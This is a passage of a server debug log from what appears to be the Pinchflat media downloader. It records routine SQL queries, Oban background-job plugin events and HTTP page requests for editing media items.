(NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:46:06.552 [info] Sent 200 in 17ms 06:46:10.105 [info] {"source":"oban","duration":2590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:40.107 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.069 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:10.109 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:40.111 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.071 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:10.113 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:40.115 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.072 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:10.117 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:40.120 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.074 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:10.121 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:40.123 [info] {"source":"oban","duration":2255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.075 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:10.125 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:40.128 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.076 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:10.130 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:40.132 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.078 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:10.133 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:40.138 [info] {"source":"oban","duration":3524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.079 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:10.141 [info] {"source":"oban","duration":1821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:40.144 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.081 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:10.146 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:40.149 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.083 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:10.151 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:40.153 [info] {"source":"oban","duration":1786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.085 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:10.156 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:40.159 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.087 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:10.161 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:40.164 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.089 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:10.166 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:40.168 [info] {"source":"oban","duration":2098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.091 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:10.171 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:40.174 [info] {"source":"oban","duration":2315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.092 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:10.177 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:40.179 [info] {"source":"oban","duration":2242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.093 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:10.182 [info] {"source":"oban","duration":2091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:40.185 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.095 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:10.188 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:40.191 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.097 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:10.194 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:40.197 [info] {"source":"oban","duration":2030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.099 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:10.200 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:40.202 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.100 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:10.205 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:40.208 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.102 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:10.210 [info] {"source":"oban","duration":1939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:40.213 [info] {"source":"oban","duration":2096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.102 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:10.216 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:40.219 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.104 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:10.221 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:40.224 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.105 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:10.227 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:40.230 [info] {"source":"oban","duration":1884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.107 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:10.233 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:40.236 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.109 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:10.238 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:40.241 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.110 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:10.244 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:40.247 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.112 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:10.250 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:40.253 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.114 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:10.256 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:40.258 [info] {"source":"oban","duration":2029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.115 [info] {"source":"oban","duration":164,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:10.261 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:23.416 [info] GET / 07:16:23.416 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 07:16:23.417 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1298.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:16:23.418 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1299.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 07:16:23.419 [debug] QUERY OK source="sources" db=0.1ms idle=1300.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 07:16:23.420 [debug] QUERY OK source="media_items" db=1.1ms idle=1095.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 07:16:23.421 [debug] QUERY OK source="media_items" db=0.3ms idle=93.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 07:16:23.421 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:16:23.421 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:16:23.422 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:16:23.422 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 07:16:23.423 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 07:16:23.423 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 07:16:23.424 [debug] QUERY OK source="sources" db=0.2ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 07:16:23.427 [debug] QUERY OK source="media_items" db=1.3ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 07:16:23.428 [debug] QUERY OK source="media_items" db=1.4ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 07:16:23.428 [debug] QUERY OK source="sources" db=0.1ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:16:23.430 [info] Sent 200 in 14ms 07:16:40.264 [info] {"source":"oban","duration":1779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.117 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:10.267 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:40.270 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.119 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:10.272 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:40.275 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.120 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:10.278 [info] {"source":"oban","duration":1908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:40.281 [info] {"source":"oban","duration":2023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.122 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:01.044 [info] GET /sources/30/media/137161/edit 07:20:01.044 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "137161", "source_id" => "30"} Pipelines: [:browser] 07:20:01.046 [debug] QUERY OK source="media_items" db=0.8ms idle=925.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137161] 07:20:01.047 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=927.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:01.048 [debug] QUERY OK source="settings" db=0.4ms idle=927.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:01.049 [debug] QUERY OK source="settings" db=0.5ms idle=927.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:01.053 [info] Sent 200 in 8ms 07:20:01.544 [info] GET /sources/30/media/138657/edit 07:20:01.544 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "138657", "source_id" => "30"} Pipelines: [:browser] 07:20:01.545 [debug] QUERY OK source="media_items" db=0.5ms idle=744.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [138657] 07:20:01.547 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=500.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:01.548 [debug] QUERY OK source="settings" db=0.3ms idle=500.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:01.549 [debug] QUERY OK source="settings" db=0.2ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:01.550 [info] Sent 200 in 6ms 07:20:02.044 [info] GET /sources/30/media/138228/edit 07:20:02.045 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "138228", "source_id" => "30"} Pipelines: [:browser] 07:20:02.046 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=499.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [138228] 07:20:02.047 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=499.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:02.048 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=499.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:02.049 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=499.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:02.050 [info] Sent 200 in 5ms 07:20:02.545 [info] GET /sources/31/media/140639/edit 07:20:02.545 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140639", "source_id" => "31"} Pipelines: [:browser] 07:20:02.546 [debug] QUERY OK source="media_items" db=0.2ms idle=742.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140639] 